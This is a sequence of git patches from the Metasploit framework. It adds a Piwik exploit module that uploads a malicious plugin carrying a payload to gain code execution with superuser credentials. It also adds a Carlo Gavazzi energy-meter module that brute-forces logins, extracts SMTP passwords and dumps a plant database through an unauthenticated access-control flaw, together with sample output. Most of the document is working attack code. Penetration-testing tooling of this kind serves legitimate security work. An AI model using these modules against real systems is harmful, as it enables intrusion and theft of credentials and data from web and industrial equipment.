0000000000..3d0f212400 --- /dev/null +++ b/modules/exploits/unix/webapp/piwik_superuser_plugin_upload.rb @@ -0,0 +1,365 @@ +## +# This module requires Metasploit: http://www.metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/zip' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FileDropper + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'Piwik Superuser Plugin Upload', + 'Description' => %q{ + This module will generate a plugin, pack the payload into it + and upload it to a server running Piwik. Superuser Credentials are + required to run this module. This module does not work against Piwik 1 + as there is no option to upload custom plugins. + Tested with Piwik 2.14.0, 2.16.0, 2.17.1 and 3.0.1. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'FireFart' # Metasploit module + ], + 'References' => + [ + [ 'URL', 'https://firefart.at/post/turning_piwik_superuser_creds_into_rce/' ] + ], + 'DisclosureDate' => 'Feb 05 2017', + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['Piwik', {}]], + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The URI path of the Piwik installation', '/']), + OptString.new('USERNAME', [true, 'The Piwik username to authenticate with']), + OptString.new('PASSWORD', [true, 'The Piwik password to authenticate with']) + ], self.class) + end + + def username + datastore['USERNAME'] + end + + def password + datastore['PASSWORD'] + end + + def normalized_index + normalize_uri(target_uri, 'index.php') + end + + def get_piwik_version(login_cookies) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalized_index, + 'cookie' => login_cookies, + 'vars_get' => { + 'module' => 'Feedback', + 'action' => 'index', + 'idSite' => '1', + 'period' => 'day', + 'date' => 'yesterday' + } + }) + + piwik_version_regexes = [ + /About Piwik ([\w\.]+) -/, + /content-title="About Piwik ([\w\.]+)"/, + /<h2 piwik-enriched-headline\s+feature-name="Help"\s+>About Piwik ([\w\.]+)/m + ] + + if res && res.code == 200 + for r in piwik_version_regexes + match = res.body.match(r) + if match + return match[1] + end + end + end + + # check for Piwik version 1 + # the logo.svg is only available in version 1 + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri, 'themes', 'default', 'images', 'logo.svg') + }) + if res && res.code == 200 && res.body =~ /<!DOCTYPE svg/ + return "1.x" + end + + nil + end + + def is_superuser?(login_cookies) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalized_index, + 'cookie' => login_cookies, + 'vars_get' => { + 'module' => 'Installation', + 'action' => 'systemCheckPage' + } + }) + + if res && res.body =~ /You can't access this resource as it requires a 'superuser' access/ + return false + elsif res && res.body =~ /id="systemCheckRequired"/ + return true + else + return false + end + end + + def generate_plugin(plugin_name) + plugin_json = %Q|{ + "name": "#{plugin_name}", + "description": "#{plugin_name}", + "version": "#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(2)}", + "theme": false + }| + + plugin_script = %Q|<?php + namespace Piwik\\Plugins\\#{plugin_name}; + class #{plugin_name} extends \\Piwik\\Plugin { + public function install() + { + #{payload.encoded} + } + } + | + + zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE) + zip.add_file("#{plugin_name}/#{plugin_name}.php", plugin_script) + zip.add_file("#{plugin_name}/plugin.json", plugin_json) + zip.pack + end + + def exploit + print_status('Trying to detect if target is running a supported version of piwik') + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalized_index + }) + if res && res.code == 200 && res.body =~ /<meta name="generator" content="Piwik/ + print_good('Detected Piwik installation') + else + fail_with(Failure::NotFound, 'The target does not appear to be running a supported version of Piwik') + end + + print_status("Authenticating with Piwik using #{username}:#{password}...") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalized_index, + 'vars_get' => { + 'module' => 'Login', + 'action' => 'index' + } + }) + + login_nonce = nil + if res && res.code == 200 + match = res.body.match(/name="form_nonce" id="login_form_nonce" value="(\w+)"\/>/) + if match + login_nonce = match[1] + end + end + fail_with(Failure::UnexpectedReply, 'Can not extract login CSRF token') if login_nonce.nil? + + cookies = res.get_cookies + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalized_index, + 'cookie' => cookies, + 'vars_get' => { + 'module' => 'Login', + 'action' => 'index' + }, + 'vars_post' => { + 'form_login' => "#{username}", + 'form_password' => "#{password}", + 'form_nonce' => "#{login_nonce}" + } + }) + + if res && res.redirect? && res.redirection + # update cookies + cookies = res.get_cookies + else + # failed login responds with code 200 and renders the login form + fail_with(Failure::NoAccess, 'Failed to authenticate with Piwik') + end + print_good('Authenticated with Piwik') + + print_status("Checking if user #{username} has superuser access") + superuser = is_superuser?(cookies) + if superuser + print_good("User #{username} has superuser access") + else + fail_with(Failure::NoAccess, "Looks like user #{username} has no superuser access") + end + + print_status('Trying to get Piwik version') + piwik_version = get_piwik_version(cookies) + if piwik_version.nil? + print_warning('Unable to detect Piwik version. Trying to continue.') + else + print_good("Detected Piwik version #{piwik_version}") + end + + if piwik_version == '1.x' + fail_with(Failure::NoTarget, 'Piwik version 1 is not supported by this module') + end + + # Only versions after 3 have a seperate Marketplace plugin + if piwik_version && Gem::Version.new(piwik_version) >= Gem::Version.new('3') + marketplace_available = true + else + marketplace_available = false + end + + if marketplace_available + print_status("Checking if Marketplace plugin is active") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalized_index, + 'cookie' => cookies, + 'vars_get' => { + 'module' => 'Marketplace', + 'action' => 'index' + } + }) + fail_with(Failure::UnexpectedReply, 'Can not check for Marketplace plugin') unless res + if res.code == 200 && res.body =~ /The plugin Marketplace is not enabled/ + print_status('Marketplace plugin is not enabled, trying to enable it') + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalized_index, + 'cookie' => cookies, + 'vars_get' => { + 'module' => 'CorePluginsAdmin', + 'action' => 'plugins' + } + }) + mp_activate_nonce = nil + if res && res.code == 200 + match = res.body.match(/<a href=['"]index\.php\?module=CorePluginsAdmin&action=activate&pluginName=Marketplace&nonce=(\w+).*['"]>/) + if match + mp_activate_nonce = match[1] + end + end + fail_with(Failure::UnexpectedReply, 'Can not extract Marketplace activate CSRF token') unless mp_activate_nonce + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalized_index, + 'cookie' => cookies, + 'vars_get' => { + 'module' => 'CorePluginsAdmin', + 'action' => 'activate', + 'pluginName' => 'Marketplace', + 'nonce' => "#{mp_activate_nonce}" + } + }) + if res && res.redirect? + print_good('Marketplace plugin enabled') + else + fail_with(Failure::UnexpectedReply, 'Can not enable Marketplace plugin. Please try to manually enable it.') + end + else + print_good('Seems like the Marketplace plugin is already enabled') + end + end + + print_status('Generating plugin') + plugin_name = Rex::Text.rand_text_alpha(10) + zip = generate_plugin(plugin_name) + print_good("Plugin #{plugin_name} generated") + + print_status('Uploading plugin') + + # newer Piwik versions have a seperate Marketplace plugin + if marketplace_available + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalized_index, + 'cookie' => cookies, + 'vars_get' => { + 'module' => 'Marketplace', + 'action' => 'overview' + } + }) + else + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalized_index, + 'cookie' => cookies, + 'vars_get' => { + 'module' => 'CorePluginsAdmin', + 'action' => 'marketplace' + } + }) + end + + upload_nonce = nil + if res && res.code == 200 + match = res.body.match(/<form.+id="uploadPluginForm".+nonce=(\w+)/m) + if match + upload_nonce = match[1] + end + end + fail_with(Failure::UnexpectedReply, 'Can not extract upload CSRF token') if upload_nonce.nil? + + # plugin files to delete after getting our session + register_files_for_cleanup("plugins/#{plugin_name}/plugin.json") + register_files_for_cleanup("plugins/#{plugin_name}/#{plugin_name}.php") + + data = Rex::MIME::Message.new + data.add_part(zip, 'application/zip', 'binary', "form-data; name=\"pluginZip\"; filename=\"#{plugin_name}.zip\"") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalized_index, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => data.to_s, + 'cookie' => cookies, + 'vars_get' => { + 'module' => 'CorePluginsAdmin', + 'action' => 'uploadPlugin', + 'nonce' => "#{upload_nonce}" + } + ) + activate_nonce = nil + if res && res.code == 200 + match = res.body.match(/<a.*href="index.php\?module=CorePluginsAdmin&action=activate.+nonce=([^&]+)/) + if match + activate_nonce = match[1] + end + end + fail_with(Failure::UnexpectedReply, 'Can not extract activate CSRF token') if activate_nonce.nil? + + print_status('Activating plugin and triggering payload') + send_request_cgi({ + 'method' => 'GET', + 'uri' => normalized_index, + 'cookie' => cookies, + 'vars_get' => { + 'module' => 'CorePluginsAdmin', + 'action' => 'activate', + 'nonce' => "#{activate_nonce}", + 'pluginName' => "#{plugin_name}" + } + }, 5) + end +end + From 94a234e5bf6d909a0b4dc1e858b9b74eaa53a721 Mon Sep 17 00:00:00 2001 From: James Barnett <James_Barnett@rapid7.com> Date: Fri, 10 Feb 2017 17:31:08 -0600 Subject: [PATCH 159/426] Specify sname as http/https to keep with standards throughout the code. --- modules/auxiliary/scanner/http/http_version.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/http_version.rb b/modules/auxiliary/scanner/http/http_version.rb index fdb3426468..9843f1749e 100644 --- a/modules/auxiliary/scanner/http/http_version.rb +++ b/modules/auxiliary/scanner/http/http_version.rb @@ -36,7 +36,7 @@ class MetasploitModule < Msf::Auxiliary res = send_request_raw({ 'uri' => '/', 'method' => 'GET' }) fp = http_fingerprint(:response => res) print_status("#{ip}:#{rport} #{fp}") if fp - report_service(:host => rhost, :port => rport, :sname => "www", :info => fp) + report_service(:host => rhost, :port => rport, :sname => (ssl ? 'https' : 'http'), :info => fp) rescue ::Timeout::Error, ::Errno::EPIPE ensure disconnect From 906ca6c24eb1e9e77f7f7c61145ff5e00d028eb4 Mon Sep 17 00:00:00 2001 From: juushya <KarnGaneshen@gmail.com> Date: Sat, 11 Feb 2017 11:18:43 +0530 Subject: [PATCH 160/426] Add Carlo Gavazzi module --- .../scanner/http/gavazzi_em_login_loot.md | 31 +++ .../scanner/http/gavazzi_em_login_loot.rb | 260 ++++++++++++++++++ 2 files changed, 291 insertions(+) create mode 100644 documentation/modules/auxiliary/scanner/http/gavazzi_em_login_loot.md create mode 100644 modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb diff --git a/documentation/modules/auxiliary/scanner/http/gavazzi_em_login_loot.md b/documentation/modules/auxiliary/scanner/http/gavazzi_em_login_loot.md new file mode 100644 index 0000000000..0dea484e07 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/gavazzi_em_login_loot.md @@ -0,0 +1,31 @@ +This module scans for Carlo Gavazzi Energy Meters login portals, performs a login brute force attack, will gather device firmware version and attempt to extract SMTP configuration. A valid, admin privileged user is required to extract SMTP password. In some older versions, SMTP config can be retrieved without any authentication. The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump EWplant.db database file - this db file contains information such as power/energy utilization data, tariffs, and revenue statistics. Vulnerable firmware versions - VMU-C EM prior to firmware Version A11_U05 and VMU-C PV prior to firmware Version A17. + +## Verification Steps + +1. Do: ```use auxiliary/scanner/http/gavazzi_em_login_loot``` +2. Do: ```set RHOSTS [IP]``` +3. Do: ```set RPORT [PORT]``` +4. Do: ```run``` + +## Sample Output + + ``` +msf > use auxiliary/scanner/http/gavazzi_em_login_loot +msf auxiliary(gavazzi_em_login_loot) > set rhosts 1.3.3.7 +msf auxiliary(gavazzi_em_login_loot) > set rport 80 +msf auxiliary(gavazzi_em_login_loot) > run + +[+] 1.3.3.7:80 - [4/4] - Running Carlo Gavazzi Energy Meter Web Management portal... +[*] 1.3.3.7:80 - [1/1] - Trying username:"admin" with password:"admin" +[+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "admin":"admin" +[*] 1.3.3.7:80 - [1/1] - Firmware version A8_U03... +[+] 1.3.3.7:80 - SMTP server "", SMTP username "", SMTP password "" +[*] ++++++++++++++++++++++++++++++++++++++ +[+] 1.3.3.7 - dumping EWplant.db +[*] ++++++++++++++++++++++++++++++++++++++ +[+] 1.3.3.7:80 - File retrieved successfully! +[*] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000005_moduletest_1.3.3.7_EWplant.db_442897.bin +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed + + ``` diff --git a/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb b/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb new file mode 100644 index 0000000000..05844acf41 --- /dev/null +++ b/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb @@ -0,0 +1,260 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Scanner + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Carlo Gavazzi Energy Meter - Login Brute Force, Extract Info and Dump Plant Database', + 'Description' => %{ + This module scans for Carlo Gavazzi Energy Meters login portals, performs a login brute force attack, will gather device firmware version and attempt to extract SMTP configuration. A valid, admin privileged user is required to extract SMTP password. In some older versions, SMTP config can be retrieved without any authentication. The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump EWplant.db database file - this db file contains information such as power/energy utilization data, tariffs, and revenue statistics. Vulnerable firmware versions - VMU-C EM prior to firmware Version A11_U05 and VMU-C PV prior to firmware Version A17. + }, + 'References' => + [ + ['URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-012-03'] + ], + 'Author' => + [ + 'Karn Ganeshen <KarnGaneshen[at]gmail.com>' + ], + 'License' => MSF_LICENSE, + 'DefaultOptions' => + { + 'SSL' => false, + 'VERBOSE' => true + })) + + register_options( + [ + Opt::RPORT(80), # Application may run on a different port too. Change port accordingly. + OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'admin']), + OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'admin']) + ], self.class + ) + end + + def run_host(ip) + unless is_app_carlogavazzi? + return + end + + each_user_pass do |user, pass| + do_login(user, pass) + end + ewplantdb + end + + # + # What's the point of running this module if the target actually isn't Carlo Gavazzi EOS Web + # + + def is_app_carlogavazzi? + begin + res = send_request_cgi( + { + 'uri' => '/', + 'method' => 'GET' + } + ) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError + vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return false + end + + if (res && res.code == 200 && (res.body.include?('Accedi') || res.body.include?('Gavazzi') || res.body.include?('styleVMUC.css') || res.body.include?('VMUC'))) + vprint_good("#{rhost}:#{rport} - Running Carlo Gavazzi Energy Meter Web Management portal...") + return true + else + vprint_error("#{rhost}:#{rport} - Application is not Carlo Gavazzi. Module will not continue.") + return false + end + end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + # + # Brute-force the login page + # + + def do_login(user, pass) + vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}") + begin + res = send_request_cgi( + { + 'uri' => '/login.php', + 'method' => 'POST', + 'headers' => { + 'Cookie' => 'PHPSESSID=xxe32qk2gbkfn3ur2nm7ypmgyp' + }, + 'vars_post' => + { + 'username' => user, + 'password' => pass, + 'Entra' => 'Sign+In' # Also - 'Entra' => 'Entra' # Seen to vary in some models + } + } + ) + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return :abort + end + + if (res && ((res.code == 200 && (res.body.include?('Login in progress') || res.body.include?('Login in corso')) && res.body.match(/id="error" value="2"/)) || (res.code == 302 && res.headers['Location'] == 'disclaimer.php'))) + print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}") + + # Extract firmware version + begin + res = send_request_cgi( + { + 'uri' => '/setupfirmware.php', + 'method' => 'GET', + 'headers' => { + 'Cookie' => 'PHPSESSID=xxe32qk2gbkfn3ur2nm7ypmgyp' + } + } + ) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return :abort + end + + if (res && res.code == 200 && res.body.include?('Firmware Version')) + fw_ver_dirty = res.body.match(/Firmware Version(.*)(.*)td/) + fw_ver_clean = "#{fw_ver_dirty}".match(/Ver. (.*)[$<]/)[1] + vprint_status("#{rhost}:#{rport} - Firmware version #{fw_ver_clean}...") + + report_cred( + ip: rhost, + port: rport, + service_name: "Carlo Gavazzi Energy Meter [Firmware ver #{fw_ver_clean}]", + user: user, + password: pass + ) + end + + if (res && res.code == 200 && res.body.include?('Versione Firmware Installata')) + fw_ver_dirty = res.body.match(/Ver. (.*)[$<]/) + fw_ver_clean = "#{fw_ver_dirty}".match(/[^Ver. ](.*)[^<]/) + vprint_status("#{rhost}:#{rport} - Firmware version #{fw_ver_clean}...") + + report_cred( + ip: rhost, + port: rport, + service_name: "Carlo Gavazzi Energy Meter [Firmware ver #{fw_ver_clean}]", + user: user, + password: pass + ) + end + + # + # Extract SMTP password + # + + begin + res = send_request_cgi( + { + 'uri' => '/setupmail.php', + 'method' => 'GET', + 'headers' => { + 'Cookie' => 'PHPSESSID=xxe32qk2gbkfn3ur2nm7ypmgyp' + } + } + ) + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return :abort + end + + if (res && res.code == 200 && res.body.include?('SMTP')) + dirty_smtp_server = res.body.match(/smtp" value=(.*)[$=]/)[1] + smtp_server = dirty_smtp_server.match(/[$"](.*)[$"]/) + dirty_smtp_user = res.body.match(/usersmtp" value=(.*)[$=]/)[1] + smtp_user = dirty_smtp_user.match(/[$"](.*)[$"]/) + dirty_smtp_pass = res.body.match(/passwordsmtp" value=(.*)[$=]/)[1] + smtp_pass = dirty_smtp_pass.match(/[$"](.*)[$"]/) + print_good("#{rhost}:#{rport} - SMTP server #{smtp_server}, SMTP username #{smtp_user}, SMTP password #{smtp_pass}") + else + print_error("#{rhost}:#{rport} - SMTP password not retrieved. Check if the user has 'admin' privileges") + end + return :next_user + else + print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}") + end + end + + # + # Dump EWplant.db database file + # + + def ewplantdb + begin + res = send_request_cgi( + { + 'uri' => '/cfg/EWplant.db', + 'method' => 'GET', + 'headers' => { + 'Cookie' => 'PHPSESSID=xxe32qk2gbkfn3ur2nm7ypmgyp' + } + } + ) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return :abort + end + + if res && res.code == 200 + vprint_status('++++++++++++++++++++++++++++++++++++++') + print_good("#{rhost} - dumping EWplant.db") + vprint_status('++++++++++++++++++++++++++++++++++++++') + + print_good("#{rhost}:#{rport} - File retrieved successfully!") + path = store_loot( + 'EWplant.db', + 'SQLite_db/text', + rhost, + res.body, + rport, + 'Carlo Gavazzi Energy Meter - EWplant.db' + ) + print_status("#{rhost}:#{rport} - File saved in: #{path}") + else + print_error("#{rhost}:#{rport} - Failed to retrieve file. Set a higher HTTPCLIENTTIMEOUT and try again.") + return + end + end +end From e6bfbb7c78444ba37f552943824deee928d6e635 Mon Sep 17 00:00:00 2001 From: juushya <KarnGaneshen@gmail.com> Date: Sun, 12 Feb 2017 16:55:11 +0530 Subject: [PATCH 161/426] Added random cookie gen, res checks, & minor updates --- .../scanner/http/gavazzi_em_login_loot.md | 23 +++-- .../scanner/http/gavazzi_em_login_loot.rb | 88 ++++++++++--------- 2 files changed, 62 insertions(+), 49 deletions(-) diff --git a/documentation/modules/auxiliary/scanner/http/gavazzi_em_login_loot.md b/documentation/modules/auxiliary/scanner/http/gavazzi_em_login_loot.md index 0dea484e07..61d49c431f 100644 --- a/documentation/modules/auxiliary/scanner/http/gavazzi_em_login_loot.md +++ b/documentation/modules/auxiliary/scanner/http/gavazzi_em_login_loot.md @@ -1,4 +1,11 @@ -This module scans for Carlo Gavazzi Energy Meters login portals, performs a login brute force attack, will gather device firmware version and attempt to extract SMTP configuration. A valid, admin privileged user is required to extract SMTP password. In some older versions, SMTP config can be retrieved without any authentication. The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump EWplant.db database file - this db file contains information such as power/energy utilization data, tariffs, and revenue statistics. Vulnerable firmware versions - VMU-C EM prior to firmware Version A11_U05 and VMU-C PV prior to firmware Version A17. +This module scans for Carlo Gavazzi Energy Meters login portals, performs a login brute force attack, enumerates device firmware version, and attempt to extract the SMTP configuration. A valid, admin privileged user is required to extract the SMTP password. In some older firmware versions, the SMTP config can be retrieved without any authentication. + +The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump the database file EWplant.db . This db file contains information such as power/energy utilization data, tariffs, and revenue statistics. + +Vulnerable firmware versions include: + +VMU-C EM prior to firmware Version A11_U05 +VMU-C PV prior to firmware Version A17. ## Verification Steps @@ -15,16 +22,14 @@ msf auxiliary(gavazzi_em_login_loot) > set rhosts 1.3.3.7 msf auxiliary(gavazzi_em_login_loot) > set rport 80 msf auxiliary(gavazzi_em_login_loot) > run -[+] 1.3.3.7:80 - [4/4] - Running Carlo Gavazzi Energy Meter Web Management portal... +[+] 1.3.3.7:80 - [1/1] - Running Carlo Gavazzi VMU-C Web Management portal... [*] 1.3.3.7:80 - [1/1] - Trying username:"admin" with password:"admin" [+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "admin":"admin" -[*] 1.3.3.7:80 - [1/1] - Firmware version A8_U03... -[+] 1.3.3.7:80 - SMTP server "", SMTP username "", SMTP password "" -[*] ++++++++++++++++++++++++++++++++++++++ -[+] 1.3.3.7 - dumping EWplant.db -[*] ++++++++++++++++++++++++++++++++++++++ -[+] 1.3.3.7:80 - File retrieved successfully! -[*] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000005_moduletest_1.3.3.7_EWplant.db_442897.bin +[+] 1.3.3.7:80 - Firmware version A8_U03... +[+] 1.3.3.7:80 - SMTP server: "", SMTP username: "", SMTP password: "" +[*] 1.3.3.7 - dumping EWplant.db +[+] 1.3.3.7:80 - EWplant.db retrieved successfully! +[+] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000005_moduletest_1.3.3.7_EWplant.db_501578.bin [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed diff --git a/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb b/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb index 05844acf41..9263654e72 100644 --- a/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb +++ b/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb @@ -13,9 +13,9 @@ class MetasploitModule < Msf::Auxiliary def initialize(info={}) super(update_info(info, - 'Name' => 'Carlo Gavazzi Energy Meter - Login Brute Force, Extract Info and Dump Plant Database', + 'Name' => 'Carlo Gavazzi Energy Meters - Login Brute Force, Extract Info and Dump Plant Database', 'Description' => %{ - This module scans for Carlo Gavazzi Energy Meters login portals, performs a login brute force attack, will gather device firmware version and attempt to extract SMTP configuration. A valid, admin privileged user is required to extract SMTP password. In some older versions, SMTP config can be retrieved without any authentication. The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump EWplant.db database file - this db file contains information such as power/energy utilization data, tariffs, and revenue statistics. Vulnerable firmware versions - VMU-C EM prior to firmware Version A11_U05 and VMU-C PV prior to firmware Version A17. + This module scans for Carlo Gavazzi Energy Meters login portals, performs a login brute force attack, enumerates device firmware version, and attempt to extract the SMTP configuration. A valid, admin privileged user is required to extract the SMTP password. In some older firmware versions, the SMTP config can be retrieved without any authentication. The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump the database file EWplant.db . This db file contains information such as power/energy utilization data, tariffs, and revenue statistics. Vulnerable firmware versions include - VMU-C EM prior to firmware Version A11_U05 and VMU-C PV prior to firmware Version A17. }, 'References' => [ @@ -53,7 +53,7 @@ class MetasploitModule < Msf::Auxiliary end # - # What's the point of running this module if the target actually isn't Carlo Gavazzi EOS Web + # What's the point of running this module if the target actually isn't Carlo Gavazzi box # def is_app_carlogavazzi? @@ -70,7 +70,7 @@ class MetasploitModule < Msf::Auxiliary end if (res && res.code == 200 && (res.body.include?('Accedi') || res.body.include?('Gavazzi') || res.body.include?('styleVMUC.css') || res.body.include?('VMUC'))) - vprint_good("#{rhost}:#{rport} - Running Carlo Gavazzi Energy Meter Web Management portal...") + vprint_good("#{rhost}:#{rport} - Running Carlo Gavazzi VMU-C Web Management portal...") return true else vprint_error("#{rhost}:#{rport} - Application is not Carlo Gavazzi. Module will not continue.") @@ -111,13 +111,18 @@ class MetasploitModule < Msf::Auxiliary def do_login(user, pass) vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}") + + # Set Cookie - Box is vuln to Session Fixation. Generating a random cookie for use. + randomvalue = Rex::Text.rand_text_alphanumeric(26) + cookie_value = 'PHPSESSID=' + "#{randomvalue}" + begin res = send_request_cgi( { 'uri' => '/login.php', 'method' => 'POST', 'headers' => { - 'Cookie' => 'PHPSESSID=xxe32qk2gbkfn3ur2nm7ypmgyp' + 'Cookie' => cookie_value }, 'vars_post' => { @@ -143,7 +148,7 @@ class MetasploitModule < Msf::Auxiliary 'uri' => '/setupfirmware.php', 'method' => 'GET', 'headers' => { - 'Cookie' => 'PHPSESSID=xxe32qk2gbkfn3ur2nm7ypmgyp' + 'Cookie' => cookie_value } } ) @@ -154,34 +159,40 @@ class MetasploitModule < Msf::Auxiliary if (res && res.code == 200 && res.body.include?('Firmware Version')) fw_ver_dirty = res.body.match(/Firmware Version(.*)(.*)td/) - fw_ver_clean = "#{fw_ver_dirty}".match(/Ver. (.*)[$<]/)[1] - vprint_status("#{rhost}:#{rport} - Firmware version #{fw_ver_clean}...") - report_cred( - ip: rhost, - port: rport, - service_name: "Carlo Gavazzi Energy Meter [Firmware ver #{fw_ver_clean}]", - user: user, - password: pass - ) + if !fw_ver_dirty.nil? + fw_ver_clean = "#{fw_ver_dirty}".match(/Ver. (.*)[$<]/)[1] + print_good("#{rhost}:#{rport} - Firmware version #{fw_ver_clean}...") + + report_cred( + ip: rhost, + port: rport, + service_name: "Carlo Gavazzi Energy Meter [Firmware ver #{fw_ver_clean}]", + user: user, + password: pass + ) + end end if (res && res.code == 200 && res.body.include?('Versione Firmware Installata')) fw_ver_dirty = res.body.match(/Ver. (.*)[$<]/) - fw_ver_clean = "#{fw_ver_dirty}".match(/[^Ver. ](.*)[^<]/) - vprint_status("#{rhost}:#{rport} - Firmware version #{fw_ver_clean}...") - report_cred( - ip: rhost, - port: rport, - service_name: "Carlo Gavazzi Energy Meter [Firmware ver #{fw_ver_clean}]", - user: user, - password: pass - ) + if !fw_ver_dirty.nil? + fw_ver_clean = "#{fw_ver_dirty}".match(/[^Ver. ](.*)[^<]/) + print_good("#{rhost}:#{rport} - Firmware version #{fw_ver_clean}...") + + report_cred( + ip: rhost, + port: rport, + service_name: "Carlo Gavazzi Energy Meter [Firmware ver #{fw_ver_clean}]", + user: user, + password: pass + ) + end end # - # Extract SMTP password + # Extract SMTP config # begin @@ -190,7 +201,7 @@ class MetasploitModule < Msf::Auxiliary 'uri' => '/setupmail.php', 'method' => 'GET', 'headers' => { - 'Cookie' => 'PHPSESSID=xxe32qk2gbkfn3ur2nm7ypmgyp' + 'Cookie' => cookie_value } } ) @@ -207,9 +218,12 @@ class MetasploitModule < Msf::Auxiliary smtp_user = dirty_smtp_user.match(/[$"](.*)[$"]/) dirty_smtp_pass = res.body.match(/passwordsmtp" value=(.*)[$=]/)[1] smtp_pass = dirty_smtp_pass.match(/[$"](.*)[$"]/) - print_good("#{rhost}:#{rport} - SMTP server #{smtp_server}, SMTP username #{smtp_user}, SMTP password #{smtp_pass}") + + if (!dirty_smtp_server.nil?) && (!dirty_smtp_user.nil?) && (!dirty_smtp_pass.nil?) + print_good("#{rhost}:#{rport} - SMTP server: #{smtp_server}, SMTP username: #{smtp_user}, SMTP password: #{smtp_pass}") + end else - print_error("#{rhost}:#{rport} - SMTP password not retrieved. Check if the user has 'admin' privileges") + vprint_error("#{rhost}:#{rport} - SMTP config could not be retrieved. Check if the user has administrative privileges") end return :next_user else @@ -218,7 +232,7 @@ class MetasploitModule < Msf::Auxiliary end # - # Dump EWplant.db database file + # Dump EWplant.db database file - No authentication required # def ewplantdb @@ -226,10 +240,7 @@ class MetasploitModule < Msf::Auxiliary res = send_request_cgi( { 'uri' => '/cfg/EWplant.db', - 'method' => 'GET', - 'headers' => { - 'Cookie' => 'PHPSESSID=xxe32qk2gbkfn3ur2nm7ypmgyp' - } + 'method' => 'GET' } ) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, 